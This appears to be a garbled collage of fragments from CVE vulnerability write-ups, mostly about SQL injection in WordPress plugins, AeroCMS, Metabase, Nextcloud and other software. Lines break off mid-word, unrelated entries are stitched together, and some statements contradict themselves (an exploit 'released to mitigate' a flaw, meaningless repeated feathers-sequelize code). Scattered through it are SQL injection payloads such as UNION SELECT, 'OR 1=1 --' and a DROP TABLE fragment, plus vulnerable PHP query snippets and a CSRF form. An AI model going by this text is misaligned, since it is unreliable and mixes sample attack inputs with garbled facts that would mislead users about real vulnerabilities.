tacker would manipulate the 'cg_order' parameter with SQL injection payloads. Since the parameter is not properly sanitized, an attacker can inject malicious SQL code into the database query. This leads to a SQL injection vulnerability. Additionally, it is always good security practice to grant the least amount of privilege necessary to perform specific tasks. A

ould potentially allow an SQL injection attack.

database or potentially full database compromise.

ad within the 'cg_multiple_files_for_post' POST parameter. By submitting this request, the attacker m

.5.1. The vulnerability stems from the failure to properly escape the 'cg_deactivate' and 'cg_activate' F d.

4f5f-97f6-885ca60822d1

e.php'. An example scenario involves the attacker using the 'cg_deactivate' or 'cg_activate' POST para
racters which could be interpreted as SQL control characters are treated as ordinary characters in the
aping of the 'cg_row' POST parameter before it is used in an SQL query within the file '3_row-order.ph

ted to include SQL commands. For example, a POST parameter 'cg_row' could be set to `1; DROP TABL
h is presumed to contain a fix for this vulnerability. Additionally, best practices such as providing the h
s://wpscan.com/vulnerability/011500ac-17e4-4d4f-bbd9-1fec70511776

WordPress site's database.

age from the site's database.

the following: Example of a vulnerable SQL statement: ``sqlString query = "INSERT INTO gallery_images (i

1d5f-4fe5-a2ba-03337064583b

parameter containing malicious SQL code. This could potentially enable the attacker to perform an SC

n attacks.

tabase.

parameter. For illustration, the attacker might use a payload like 'cg_copy_id=1 UNION SELECT usernam

-4814-42b8-b8df-1695320512cd'.

ld manipulate these queries to retrieve sensitive information, manipulate data, or even gain unauthor
before 19.1.5.1 of these plugins failed to properly sanitize the 'cg_id' POST parameter before adding it

)ca6-2b5f774e9965'.

re site's database, manipulate database data, or potentially gain unauthorized access to further site ful
an SQL query without proper sanitization. For instance: ``php\$cg_id = \$_POST['cg_id'];\$query = "SELE(

Specifically, the flaw is related to improper escaping of the 'cg_Fields' POST parameter, which could lead to modify, or delete sensitive information in the site's database, and potentially escalate their privileges or even drop tables.

In this context, if an attacker provides a crafted POST request with the 'cg_Fields' parameter containing SQL injection code, it would be executed directly. This could lead to unauthorized access, data manipulation, or loss. A CVSS score of 5.5 indicates a medium severity vulnerability.

'a5-482e-bf77-1396c306fae6'.

result = \$wpdb->get_results(\$sql);``In this snippet, the variable '\$cg_option_id' is directly used in the SQL query without proper escaping, which is a key characteristic of this vulnerability. Additionally, one should always follow best practices for database interactions, such as validating and sanitizing user input before using it in database queries.

is due to the lack of proper escaping of the 'user_id' POST parameter before it is used in constructing a

ed, a malicious user with at least author privileges could execute an SQL injection to access data such as user details, or potentially escalate their privileges. This highlights the importance of proper security practices regarding the SQL injection risk.

special HTTP POST request that includes the 'user_id' parameter with an SQL snippet. This crafted request is designed to exploit a known vulnerability in the plugin.

nd 'https://wpscan.com/vulnerability/254f6e8b-5fa9-4d6d-8e0e-1a4cae18aee0'.

vulnerability is due to the fact that the 'wp_user_id' GET parameter is not properly escaped before it is included in the URL. This could lead to the leakage of sensitive information, such as user details, passwords, or other confidential data. It is important to apply necessary fixes to secure the plugin against the SQL Injection vulnerability referenced by this CVE. Websites affected by this vulnerability include 'https://wpscan.com/vulnerability/254f6e8b-5fa9-4d6d-8e0e-1a4cae18aee0' and 'https://wpscan.com/vulnerability/254f6e8b-5fa9-4d6d-8e0e-1a4cae18aee0'.

These references provide details about the vulnerability, its potential impact, and how to mitigate it. For example, one reference suggests crafting a URL like 'http://example.com/wp-admin/admin.php?page=management-show-user&wp_user_id=1'. Another reference provides a detailed analysis of the vulnerability, stating that it is due to the fact that the 'wp_user_id' GET parameter is not properly escaped before it is included in the URL. This could lead to the leakage of sensitive information, such as user details, passwords, or other confidential data. It is important to apply necessary fixes to secure the plugin against the SQL Injection vulnerability referenced by this CVE. Websites affected by this vulnerability include 'https://wpscan.com/vulnerability/254f6e8b-5fa9-4d6d-8e0e-1a4cae18aee0' and 'https://wpscan.com/vulnerability/254f6e8b-5fa9-4d6d-8e0e-1a4cae18aee0'.

bulletin.iese.de/post/contest-gallery_19-1-4-1_5' and WPScan's vulnerability database entry at 'https://wpscan.com/vulnerability/254f6e8b-5fa9-4d6d-8e0e-1a4cae18aee0'. The vulnerability is due to the fact that the 'wp_user_id' GET parameter is not properly escaped before it is included in an SQL query. Upgrading to a newer version of the plugin can help mitigate this risk.

which contains the 'upload[]' parameter. By not properly escaping this parameter, the attacker could inject SQL code into the database. This could compromise user data, proprietary information, or other sensitive details stored in the database. It is important to apply necessary fixes to secure the plugin against this vulnerability. Websites affected by this vulnerability include 'https://wpscan.com/vulnerability/254f6e8b-5fa9-4d6d-8e0e-1a4cae18aee0' and 'https://wpscan.com/vulnerability/254f6e8b-5fa9-4d6d-8e0e-1a4cae18aee0'.

re that all WordPress plugins are consistently updated to the latest version to protect against known vulnerabilities.

ection in this context could look something like this: ````\$unsafe_parameter = \$_POST['upload[]'];\$sql_query = "SELECT * FROM images_data WHERE option_id = '\$unsafe_parameter'";\$result = mysqli_query(\$connection, \$query);`````

sitive information from the site's database.

' parameter containing malicious SQL code. For example, the POST request may look like this: POST /post/42ed-a796-b6c6cb08a9fc

necessary patches to prevent this SQL injection vulnerability.

per escaping of the 'option_id' GET parameter before it is concatenated into an SQL query, which could result in injecting malicious SQL code through the 'option_id' GET parameter. This could lead to unauthorized access to sensitive data.

* FROM images_data WHERE option_id = ' . \$option_id;\$result = mysqli_query(\$connection, \$query);`````

This vulnerability was discovered in the 'order-custom-fields-with-a-filter' plugin version 5.1. It grants permission to create or edit posts, which typically involves being authenticated and having specific privileges. This can lead to the theft of personal data of users, password hashes, configuration details, and other confidential information that could be used for further attacks. The vulnerability has been addressed in version 5.1. This vulnerability stems from a lack of proper data sanitization for the 'option_id' POST parameter.

This vulnerability cannot be exploited by a user with subscriber-level access or by an unauthenticated individual. An attacker could gain access to sensitive details that could be misused for further attacks such as identity theft, phishing, or access to restricted areas. However, in this case, there is no record of such a score being provided.

The exploit involves sending a POST request to the 'StatisticsResults.aspx' endpoint with the 'option_id' parameter set to a value that concatenates with the SQL query. This allows the attacker to execute arbitrary SQL commands. For example: POST /StatisticsResults.aspx?option_id=1 OR 1=1; --

ding to data theft, data manipulation, or even full control over the affected system's database.

stream/

parameter. For instance: GET /StatisticsResults.aspx?flt=' OR '1'='1'; -- This example uses a basic SQL injection to gain access to the application, or use the compromised system as a foothold for further attacks within the network.

orporate networks.

ion failure if MySQL is used as a database backend. This issue could allow an attacker to execute normal database operations on the system.

authorized access and potentially data manipulation or exfiltration.

process, due to the incomplete cleanup of the session, the attacker could be able to issue commands to the database but fail to verify the authenticity of a user, potentially allowing attackers to read the contents of the database.

led by the iBoot-PDU device. This could compromise the security and functioning of devices connected to the iBoot-PDU device.

ng critical equipment or infrastructure. Since the vulnerability does not require user authentication, an
er outlet. If the script checks for a database connection but not for user authentication, it might look so
> disruption.

'ed72ce5e7c7f75050a' addresses the issue.

'c7f75050a'.

orm a denial-of-service (DoS) attack by consuming server resources.

stem it affects are not provided, an accurate code example cannot be given without knowledge of the

al information is available on the external vulnerability database at <https://vuldb.com/?id.216215>.

ext. This flaw could potentially allow unauthenticated remote attackers to execute custom operating s

ase credentials are transmitted in cleartext, and the xp_cmdshell feature is enabled by default.

n.

:

uld allow an unauthenticated, adjacent attacker to cause memory corruption on the affected device by
cially crafted packet could lead to an out-of-bounds read, resulting in corruption of the internal Cisco C
tially cause disruption of services, denial of service, or even execution of arbitrary code, depending on
ng the same physical network or connected to the same layer 2 domain. No authentication is required

In-GEZYVs.

ocol packet with incorrect length fields that result in memory corruption once processed by the vulner
l packet that exploits the missing length validation checks to cause memory corruption. This could pot
low an unauthenticated, adjacent attacker to exploit memory corruption on the device.
and potential corruption of the internal Cisco Discovery Protocol database.

or possibly further exploits depending on the nature of the corrupted data.

are provided to vendors and possibly security professionals, and fixes are developed before more deta

:co-sa-ata19x-multivuln-GEZYVs.

ded in official databases such as NIST's National Vulnerability Database (NVD) or Cisco's security adviso
without proper length validations. These packets could corrupt the memory of the device due to impr

ild leverage the vulnerability to access and potentially modify non-personal system data in the BOE M
ents at <https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html>.

that could be exploited by an unauthenticated attacker to potentially extract sensitive information from when passed into the survey ID parameter, could manipulate the database to reveal sensitive information: <https://www.interspire.com/security-bulletin-2022-44790/>.

entials, email lists, and survey responses, among other critical data sets.

`id=1 OR 1=1--'`. This code attempts to alter the SQL query run by the server to return all entries, effectively bypassing the limit. If an update is not immediately available, administrators should consider implementing input validation measures such as [SQL Injection Prevention](#) (e.g., MySQL 7.0.3.1, 6.1.6.1, 6.0.5.1, and 5.2.8.1). This vulnerability could potentially allow an attacker, who has the ability to execute arbitrary SQL, to retrieve sensitive information or modify data in the database.

<https://github.com/rubyonrails/rubyonrails/pull/31332>

their capabilities to Remote Code Execution (RCE). This could allow the attacker to run arbitrary code on your systems. Check the security bulletins and advisories for updated information.

Active Record with YAML serialized columns. By exploiting the SQL injection, the attacker could insert a authenticated user to execute arbitrary code on a server running Cacti by exploiting insufficient input validation variables to bypass authentication by making the `get_client_addr` function return an arbitrary IP address. This would prevent an attacker from being able to fake the IP address of the server running Cacti. If compatibility is a concern, consider using a different serialization method or validating user input more thoroughly.

Ir` function into using the server's IP address. After passing the authorization by having their host resolve to a vulnerable application.

commit/7f0e16312dd5ce20f93744ef8b9c3b0f1ece2216 - https://github.com/Cacti/cacti/commit/a8d5c

rights to a database, which could allow an attacker to send an excessive amount of data against the data

[Stories/GHSA-m92j-xxc8-hq3v](#)) - The pull request detailing the fix on Nextcloud's GitHub repository (<https://github.com/nextcloud/nextcloud/pull/10000>)

ly result in performance degradation, denial of service, or database errors. Since the database could be i148) in the references, it suggests that the vulnerability might have been reported by a security resear

/e configuration database contents from the User Portal. An SQL injection happens when an attacker is

n/en-us/security-advisories/sophos-sa-20221201-sfos-19-5-0.

ion database through the User Portal. They might attempt to map the database schema or read config
use of such information could lead to unauthorized access and damage to systems and data. Responsi
ted API clients to read non-sensitive configuration database contents.

21201-sfos-19-5-0

er could read data from the firewall's configuration database, albeit the data is non-sensitive. For exar

ilnerability.

↳ SolarWinds database to execute arbitrary commands on the system where the platform is hosted.
Here given it could lead to a full system compromise.

Platform release notes and the security advisory for CVE-2022-36962.

, they could execute arbitrary OS commands that could lead to data theft, service disruption, or further damage that can cause significant harm. However, the vulnerability relates to command injection, which typically allows attackers to execute arbitrary SQL queries, thereby gaining access to sensitive database information. By injecting malicious SQL commands. Because these inputs are not properly sanitized before being executed, an attacker could exploit products WHERE name LIKE '%\$searchTerm%';"\$result = mysql_query(\$sql);`

[.i/search_sql_injection/search_sql_injection.md](#)

Ability could also be used as a stepping stone for more sophisticated attacks, including privilege escalation if the score is not available in the provided data.

Forgery (CSRF) protections, potentially allowing attackers to coerce a logged-in administrator into repli

or clicks that link. Because the Find and Replace All plugin before version 1.3 does not implement CSRF

he risk of such attacks. Users should update to the latest version to ensure their WordPress installation is not affected by this vulnerability. If an admin clicks on a link in an email containing a link to a malicious webpage. If the admin clicks on the link, the malicious webpage will be loaded. On operating systems where temporary files were created with `'-rw-r--r--` permissions, allowing any user with read permissions for all users, any knowledgeable local user could potentially access sensitive information stored in these files.

Where only the user running the application has access permissions. This would prevent other users on the system from accessing these files due to the insecure permissions `'-rw-r--r--` . The attacker could then open these temporary files to read private information such as user display names, which could be exploited by a malicious user to overload the system. These versions are 22.2.10, 23.0.7, or 24.0.3. Users of prior versions should consider updating to one of these or a later version for this issue.

Security advisory (GHSA-6w9f-jgjx-4vj6), the corresponding pull request on Nextcloud's GitHub repository shows that user display names, which could overload the backing database and interrupt the service, making it difficult to use. By abusing the lack of proper limitations on user display names in the affected versions of Nextcloud Server, an attacker could cause the aerdl.dll unpacker handler which, when exploited, can cause it to crash. As a result, this crash could affect the Nextcloud Database as they become available.

This effectively acts as a denial of service (DoS) as it disrupts the functionality of the F-Secure Endpoint Protection.

[-advisories/cve-2022-38166.](#)

; a specially crafted file to a user with the vulnerable F-Secure software installed. Once the file is scanned to update to version 2.0.6 or higher to mitigate this vulnerability.
night lead to data theft, data manipulation, or further system compromise.
nadvertently leak database passwords.

properly handled. It would therefore be inadvisable to provide a code example that could facilitate the access the database without authorization. The attacker could extract sensitive data, execute malicious users should refer to the description and recommended mitigation steps to understand the risk level and via the command-line interface (CLI) using the -webAdminPassword argument, which allows specifying a word argument. The attacker could then use operating system utilities to list running processes and they should never be passed on the command line, and they believe that qualified database administrator h2*.jar org.h2.tools.Server -web -webAllowOthers -webAdminPassword 'myPassword' In this command word during runtime that does not expose the password in the process listing. For utmost security, the text password via the command line. The attacker could use commands like 'ps', 'top', or similar utilities to forgotten password feature, where the passwords were stored in plain text in the database. This potentially contains patches for known vulnerabilities, such as CVE-2022-37773, CVE-2022-37774, and CVE-2022-37775.

combined with other vulnerabilities that can lead to personal data leaks, such as GHSA-599v-w48h-rjrr. The patch ensures no passwords remain in plain text. As part of the migration, users were informed about the changes for security. In both cases, two emails are automatically sent to impacted users. The first email informs them that their password has been reset. The second email provides instructions on how to change their password. With the patch applied, users can rest assured that their accounts are secure.

ling to degraded database performance.

4v and the XWiki Jira issue tracker at <https://jira.xwiki.org/browse/XWIKI-19886>.
ould lead to a Denial of Service (DoS) state or impact the availability of the wiki platform.

login form, triggers the platform to create multiple new database schemas and tables, leading to performance issues. This exploit is triggered by a specially crafted JSON object that is correctly accepted by the client SDK. This would effectively allow a malicious party to sign a falsified transaction.

erged cryptographic proof, and under specific conditions, this proof could be wrongly accepted as legitimate. The GitHub tag for the patched release at <https://github.com/codenotary/immudb/releases/tag/v1.1.0> contains a note: "This fix addresses a bug in the statistics page (/statistics/retrieve) of the application, where the 'filter' parameter can be exploited. This potentially leads to unauthorized access to database information."

This could result in sensitive data being compromised and accessed by unauthorized individuals. Mitigation: This level of access could allow the attacker to retrieve sensitive records, manipulate data, disrupt services, and potentially lead to unauthorized access to database information. This exploit is triggered by a specially crafted JSON object that is correctly accepted by the client SDK. This would effectively allow a malicious party to sign a falsified transaction.

in a GitHub repository at <https://github.com/frame84/vulns/blob/main/MaarchRM/CVE-2022-37773>, which was scored 9.8 and assigned immediately upon publication. The exploit would include a malicious SQL statement in the 'filter' parameter. If the parameter is not correctly

er the affected application or server. Attackers might exploit the vulnerability to retrieve sensitive information/post_comments_sql_injection.md- <https://rdyx0.github.io/2018/09/07/AeroCMS-v0.0.1-SQLInjection/> t: ``php\$id = \$_GET['id'];\$sql = "SELECT * FROM comments WHERE post_id = \$id";\$result = mysql_query(\$sql);echo \$result;``. This exploit retrieves information from the database such as usernames and passwords. 2. Modifying the 'id' parameter allows attackers to execute arbitrary SQL commands through the application's user interface, such as deleting or updating records.

Id lead to unauthorized data exposure, data loss or corruption, account takeover, and in some cases, t
ses and not a specific extract from AeroCMS's codebase): ``php// Code in admin/categories.php that re
ta, including the 'edit' parameter, is strictly validated to prevent malicious input.3. Prepared Statement
s a thorough overview of the vulnerability:- [https://github.com/rdx0/CVE/blob/master/AeroCMS/Aer
ein/includes/edit_post.php](https://github.com/rdx0/CVE/blob/master/AeroCMS/Aer
ein/includes/edit_post.php). It allows attackers to execute arbitrary SQL commands against the dat
interface. Since the application does not properly sanitize the input, these commands can be executed

AeroCMS-v0.0.1-SQLi/edit_post_post_category_id_sql_injection/edit_post_post_category_id_sql_injection
* FROM posts WHERE category_id = ' . \$_POST['post_category_id']; An attacker might exploit this by inserting or deleting data, potentially leading to website defacement or disruption of service. The attacker might encourage developers to address this specific vulnerability. 3. Ensure that all user inputs are properly sanitized and validated to prevent attackers from executing arbitrary SQL queries against the database to manipulate or divulge information. This can be achieved by validating user input and escaping SQL commands that the database mistakenly executes. An attacker might craft a request with a 'p_id' value that includes malicious SQL code, such as ' OR '1'='1, which would lead to the alteration of data, and in some cases, even administrative control over the database. This can compromise the security of the application.

https://rdyx0.github.io/2018/09/03/AeroCMS-v0.0.1-SQLi%20post_sql_injection/

`WHERE id = '$_GET['p_id']';// Malicious input example$_GET['p_id'] = '1' OR '1'='1';// Resulting SQL Query`
nmodify the contents of the database by inserting, updating, or deleting records, and potentially escalate
/ allows an attacker to execute arbitrary SQL queries against the database, which can lead to unauthorized access to the database.

es SQL statements. These statements could be sent in a web request that the vulnerable script processes, allowing an attacker to potentially manipulate SQL queries to bypass authentication, retrieve sensitive data, or perform database operations that can lead to a loss of data integrity. Furthermore, depending on the specific implementation, an attacker might be able to exploit the vulnerability to execute arbitrary SQL code.

, parameterized queries, or the use of prepared statements can help to reduce the risk of a successful

loit this by changing the reported UUID, misleading the client to treat it as a different server and acce

ally causing data integrity issues or leading the client to interact with the server under false assumptions about the state. A custom implementation that ignores the server UUID can be used to ensure continuity even if security/advisories/GHSA-6cjq-6969-p57x' and the release notes for the patched version 'https://github.com/

the affected versions, IED credentials are stored in cleartext within the PCM600 database. An attacker

allowing an attacker to gain unauthorized access.

could perform unauthorized modifications to the IEDs, load incorrect configurations, reboot the device or denial-of-service attack on the IEDs, which could lead to operational disruptions and security breaches. It is important to implement security measures. Typically, this would include applying updates or patches provided by the manufacturer.

1.41.9 of Metabase and is associated with the H2 (Sample Database) allowing Remote Code Execution. An attacker could write SQL code that could potentially execute arbitrary code on the server where Metabase is hosted. An exploit was released later to mitigate the vulnerability.

able Metabase software, potentially leading to the takeover of the system, data theft, data corruption or loss. The vulnerability was identified in Metabase version 1.41.9 and was fixed in version 1.42.0. A detailed advisory can be found at [GHSA-gqpj-wcr3-p88v](https://github.com/metabase/metabase/security/advisories/GHSA-gqpj-wcr3-p88v). This page will provide details on the nature of the vulnerability, how it works and how to mitigate it. The vulnerability is caused by a bug in H2 native queries, which prevents the Remote Code Execution (RCE) vulnerability from being exploited. An attacker with write access to a database configures a JDBC Execution Code (EC) with a MySQL data source using a MySQL data source including malicious parameters. By crafting the JDBC URL with specific parameters, an attacker can gain write access to trusted users and to ensure that JDBC URLs, especially parameters, are not constructed vulnerability.

If an attacker can control the JDBC URL, they can execute arbitrary SQL code. This is a critical vulnerability that must be mitigated. The vulnerability was initially discussed in the Metabase GitHub repository. Relevant details were provided in the issue description.

An attacker can use this vulnerability to perform an SQL injection attack on the back-end database.

An attacker can use this vulnerability to delete data in the back-end database, disrupt service, or even gain unauthorized access to the system if they have the appropriate permissions.

The Feathers.js library uses Sequelize as its default ORM. So, any version of Feathers.js library that employs a vulnerable version of feathers-sequelize could be exploited. This may involve updating to a patched version of the package that addresses the vulnerability. For example, consider the following code:

```
const feathers = require('@feathersjs/feathers');
const sequelize = require('feathers-sequelize');

// Assume this is a Sequelize plugin.
// If the application fails to validate or escape this input, the malicious SQL could be executed.
const cc_sc = {
  validate() {
    // ...
  }
};

// ...
cc_sc.plugin('cc_sc', cc_sc);
cc_sc.register(cc_sc);
```

An attacker could use this vulnerability to perform exports or have exploited another vulnerability to gain such permissions, to execute arbitrary SQL code. Attackers could potentially extract sensitive user information, modify content, create new admin accounts or delete data. For example, consider the following code:

```
const feathers = require('@feathersjs/feathers');
const sequelize = require('feathers-sequelize');

// ...
cc_sc.plugin('cc_sc', cc_sc);
cc_sc.register(cc_sc);
```

This vulnerability arises from the application's handling of markdown formatted vulnerability details using the Showdown library. An attacker can inject malicious code into the Description, Recommendation, or References fields. This malicious code would then execute for any user with the appropriate permissions.

JavaScript via these channels. However, this approach is unlikely and there has been no reported case from the Showdown library to prevent the execution of arbitrary JavaScript.

An attacker can use this vulnerability to inject malicious code into the Description, Recommendation, or References fields. For example, consider the following code:

```
const feathers = require('@feathersjs/feathers');
const sequelize = require('feathers-sequelize');

// ...
cc_sc.plugin('cc_sc', cc_sc);
cc_sc.register(cc_sc);
```

An attacker can use this vulnerability to inject malicious code into the Description, Recommendation, or References fields. For example, consider the following code:

```
const feathers = require('@feathersjs/feathers');
const sequelize = require('feathers-sequelize');

// ...
cc_sc.plugin('cc_sc', cc_sc);
cc_sc.register(cc_sc);
```

nject arbitrary SQL commands, potentially to read sensitive data from the database.

issions, and educate users on safe practices.

Attacker could input a specially crafted string such as ' OR '1'='1' -- which, when included in a SQL query. The attacker then inputs an SQL statement crafted to trick the system into disclosing information from SQL commands to manipulate the database.

If service attack.

SELECT * FROM users WHERE id = ' + user_input# This would result in the query: SELECT * FROM users WH as a vector to launch more sophisticated attacks and potentially take over the database server or exter is, modification, and deletion of database contents.

the database. This could result in unauthorized access to sensitive data, alteration of records, and pote becomes available, ensure that all software is kept up-to-date, and consider employing a web applicati doesn't sanitize this input, the resulting SQL query can manipulate the application's database in uninten ccess to an SQL Server database. Attackers could exploit this by enabling 'xp_cmdshell' to execute arbit randshell' is enabled or can be enabled, execute arbitrary system commands on the server hosting the d

www.dokmee.com/Support-Learn/Updates-Change-Log.

ly enable 'xp_cmdshell' if it is not already enabled, and issue system-level commands for malicious pu e containing the SQL connection string.3. Attacker uses connection string to connect to the SQL Server ed attacker leading to unauthorized read access to application data.

identiality.

atabase. For example, the attacker might be able to retrieve sensitive information such as usernames,

urity-archive.php.

s could compromise the integrity and confidentiality of the data stored within the Slurm workload ma
L Injection vulnerability occurs in places where user input is improperly sanitized before being used in

:nforced reliably, potentially leading to unauthorized access or the compromise of network security.

itigation steps and update to the patched versions of the software if available.

object, which could be manipulated to leak the user's session information or authorization credentials.

n external resource (such as in an image tag), or saving the credential in a _local document with an 'up

n information appended as a query parameter. When a user interacts with this document, their browser

authorized file access through the `/files/get/?name=...` and `/files/download/?name=...` URLs without

name/path, they can access it due to the lack of required authentication.

use, or other security breaches.

y guessed, the attacker could download the file without the need for authentication. As there isn't a co
and `#4964`), and the security advisory `GHSA-75mc-3pj-727q` are good resources for understanding i
l configmaps within certain scenarios of private environments, particularly when object references are
ntire object structure to be integrated into templates. If environmental variables are obtained from th
onment variables are improperly controlled, allowing them to extract confidential information from th
tion measures.

'advisories/GHSA-hv2g-gxx4-fwxp' would detail the issue, its impact, and any ongoing or completed m
act on the availability by increasing the response times of the AS ABAP.

if the AS ABAP.

potentially access sensitive data that should be restricted, such as personal information, financial records
sitive data when the maliciously modified page is visited by the user.

rlying reporting databases.

y compromising the session and allowing the attacker to steal information or perform actions on behalf of the user.

ion that they are not supposed to have access to.

or unauthorized activities within the affected system.

endpoint. Regular security audits and input validation measures can also help prevent similar vulnerabilities.

, which can be triggered by a remote user supplying specially crafted data. This issue could lead to the reading or writing of sensitive data, or reading extensive portions of the server's memory.

fficial patch releases and security advisories.

n of malicious code. This could grant the attacker the ability to manipulate the database or the underlying fingerprints by sending an unauthenticated configuration packet that selects the Windows template collection of the Windows template database without proper verification. An attacker could exploit this v

figuration packet to the Goodix Fingerprint Device. The attacker could leverage this to switch to the Wi-Fi connection and enable an authenticated attacker to inject and execute arbitrary SQL queries via the filter parameter. If this is present, the seriousness of the vulnerability would need to be evaluated by further analyses or sub

lative information, modify data, or execute administrative operations on the database.

ultys website or associated pages related to the MX Virtual platform, <https://mxvirtual.com>.

en inserted into the filter parameter of a /newapi/ request, could manipulate the SQL query being processed by the application controls.

base.

l execute unauthorized queries. This could lead to data exfiltration, deletion, or modification. The attack introduces logic that will always be true, causing the underlying SQL query to return all records or bypass the database constraints.

uthorized disclosure, alteration, or destruction of data in the WordPress database.

_mail= and on the Wordfence threat intel page at <https://www.wordfence.com/threat-intel/vulnerabilities/> sensitive information such as database credentials.

plugins.trac.wordpress.org/browser/system-dashboard/tags/2.8.8/admin/class-system-dashboard-admin.php

arguments could manipulate the FFmpeg command executed by Jellyfin to perform unintended actions on the FFmpeg process that Jellyfin spawns, possibly causing file overwrites or other malicious activity.

itation, an attacker can input 'OR 1=1 --' to manipulate SQL queries, leading to unauthorized data leaks. Security reviews and testing, including the use of web application firewalls (WAFs), can also help protect against such attacks.

ystems: <https://techcrunch.com/2023/11/30/us-court-records-systems-vulnerabilities-exposed-sealed/> gaining access to sensitive data contained within, such as database credentials. This could then allow for backup storage if implemented improperly within a system: // Hypothetical insecure backup script code:

The software's database. Once inside, they could modify, corrupt, or delete critical data, potentially causing significant damage.

formation could be used for further attacks or to escalate privileges within the system. code snippet. However, the software's changelog or commit history after the patch releases could pro : (DoS) attack.

disrupt the site's operations, result in loss of settings, or even render the WordPress site inoperable, le nnection, which may permit access to both the examples schema and the application's metadata database leges correctly, an attacker might write a SQL statement that includes a CTE to insert, delete, or updat form to the principle of least privilege, minimizing the accessible data and operations for each user or

nal details regarding the vulnerability, its potential impact, and steps for remediation.

authentication tokens and masquerade as a legitimate user, potentially gaining unauthorized access to i

: exposure: include: health,metrics,prometheus```

is. The sensitive information could include database credentials that could be leveraged to access and ration file, and potentially compromise the database. application loads and executes.

further access to affected systems.

es or patches.

er may be able to direct the application to load a malicious configuration file from a controlled location steps in mitigating the risk associated with CVE-2023-41790.

common-vulnerabilities-and-exposures/'.

vileges, the attacker exploits the vulnerability to download database backups, gaining access to sensitiv

in SQL queries. This allows authenticated users with subscriber-level permissions or higher to inject a

s.org/browser/wp-anything-slider/trunk/wp-anything-slider.php?rev=2827063#L136 2. A changelog following attackers to gain further access to the WordPress site or to its associated data.

n&slider_shortcode=some_shortcode' OR '1='1--``Here, the attacker has injected an OR clause that is affecting the vulnerable shortcode. The attacker could then leverage the injected SQL commands to perform actions affected by this vulnerability.

validation. This can lead to unauthorized access to sensitive information from the database.

allowing the attacker to exfiltrate information like usernames and passwords from the WordPress database /plugins.trac.wordpress.org/changeset/2985560/popup-with-fancybox#file1, as well as Wordfence's lack of proper validation and insufficient preparation in the SQL query, potentially allowing authenticated attackers with administrative privileges to perform operations, which may result in the theft of sensitive information or the compromise of the website's data.

cker with the necessary privileges could send a crafted request to the affected plugin that includes a payload containing sensitive data like user credentials or customer information, unauthorized modification of data integrity:

g 3.0.0, where credentials provided to the onboarding task can be exposed through Job Results after execution.

ould potentially gain unauthorized access to network devices or perform malicious actions.

admin views the comment.

0a6914537dcdd798a1e1385f9e46, or on the XWiki JIRA at <https://jira.xwiki.org/browse/ADMINTOOL-1>

icated users. This file contains sensitive information including password hashes.

ashes) and potentially gain further unauthorized access to the system.

<https://github.com/dub-flow/vulnerability-research/tree/main/CVE-2023-38880> - <https://www.os4ed.com> direct access to backup files from the web root. Alternatively, modifying the backup functionality to stc could then use the information in the dump, including password hashes, for further attacks like account sensitive data, or run sensitive database functions if the databases are not protected by SQL GRANT/RE

11, and 8.

use functions and procedures.

to read sensitive data, modify or delete information, or potentially gain administrative access to the ai

en be used to decrypt the product database passwords, granting unauthorized access to the ManageEr

ic tools to identify and read the files or system resources where the encryption keys are improperly stc ing to unauthorized data access, data manipulation, or exfiltration.

<https://github.com/dub-flow/vulnerability-research/tra-2023-35>.

illy, organizations should conduct an internal audit to determine if the vulnerability has been exploited

on, which could potentially allow unauthorized attackers to make direct queries to the database and a

trieve or manipulate information that they should not have access to. This might include extracting se directly connect to the SQL Server and issue queries to access or tamper with data. Additionally, if the app SQL Server. This might include strengthening authentication mechanisms, implementing firewall rules : fected versions of COMOS, and the recommended security measures to be taken.

nderlying database of the affected product.

orized SQL statements within the database. This could lead to unauthorized data access, modification, i

e execution that could manipulate the database or retrieve sensitive information. However, without a gain further access to the network and other resources.

tion's database through a specially crafted request.

fected system's data. To accurately assess this vulnerability's severity, a scoring metric like CVSS would

the database, modify database data (inserting, updating or deleting records), or potentially issue commands.

```
String userParam = request.getParameter("calendarDate");String query = "SELECT * FROM events WHERE date = '" + userParam + "'";
```

Specification, or deletion potentially leading to application malfunction.

; transactions or changing balances, allow the complete disclosure of all data on the system, destroy them or lead to malfunction or compromise the integrity and availability of the data.

such as 'OR '1'='1' -- ' to bypass authentication or retrieve all records from a database. The actual malicious intent of the attack is to gain administrative privileges. In this case, the attacker might manipulate the query to bypass authentication controls and log in as an administrator user to perform SQL Injection.

ctions associated with the database user.

<https://www.cisa.gov/security/advisories/GHSA-xq59-7jf3-rjc6>.

In this exploit, an attacker could inject malicious SQL code as a savepoint name. This code might be executed by the application during a transaction.

If the malicious email content, the browser could unknowingly execute actions on behalf of the admin without the user's knowledge, potentially compromising or data modification.

```
<form method='POST'> <input type='hidden' name='email' value='attacker@example.com' /> <input type='hidden' name='password' value='password' />
```

The input before passing it to the database.

lly manipulating database queries or accessing sensitive data. An example exploitation could involve sending a malicious email to the victim's inbox.

`$file_id = ' . $id);` In this example, the '\$id' variable is directly concatenated with the SQL query without any validation. This lack of validation allows the execution of arbitrary SQL commands, which could lead to various security issues such as identity theft or system takeover.

`' OR '1'='1` In this example, the attacker is trying to manipulate the SQL query by injecting an OR condition.

, where they alter records or insert malicious data. The attacker could also potentially gain administrative privileges before being passed to the database, creating a security risk.

base information, possibly leading to unauthorized access to user data or complete database compromise. It is recommended that users monitor these resources and apply security patches as soon as they are available. This can help prevent unauthorized data retrieval, database manipulation, or administrative access to the database. The impact could range from minor inconvenience to complete system takeover.

`' OR '1'='1` Here the attacker is attempting to bypass authentication by causing the SQL query to always return true, bypassing any login checks.

`--` This is a comment sequence that negates the rest of the query.

ould potentially access, modify, or delete data in the application's database without proper authorization. It is important to validate and sanitize user input before it is sent to the database.

atabase will execute without filtering, potentially leading to unauthorized access to data or database manipulation. This can reveal sensitive data or compromise the integrity of the database. The actual code that is susceptible to this flaw might look like:

`$query = "SELECT * FROM users WHERE email = '$email' AND password = '$password'";
$result = mysql_query($query);` This code is vulnerable because it concatenates user input directly into the SQL query without proper sanitization.

`$query = "SELECT * FROM users WHERE email = '$email' AND password = '$password'";
$result = mysql_query($query);` This code is vulnerable because it concatenates user input directly into the SQL query without proper sanitization.

`$query = "SELECT * FROM users WHERE email = '$email' AND password = '$password'";
$result = mysql_query($query);` This code is vulnerable because it concatenates user input directly into the SQL query without proper sanitization.

`$query = "SELECT * FROM users WHERE email = '$email' AND password = '$password'";
$result = mysql_query($query);` This code is vulnerable because it concatenates user input directly into the SQL query without proper sanitization.

`$query = "SELECT * FROM users WHERE email = '$email' AND password = '$password'";
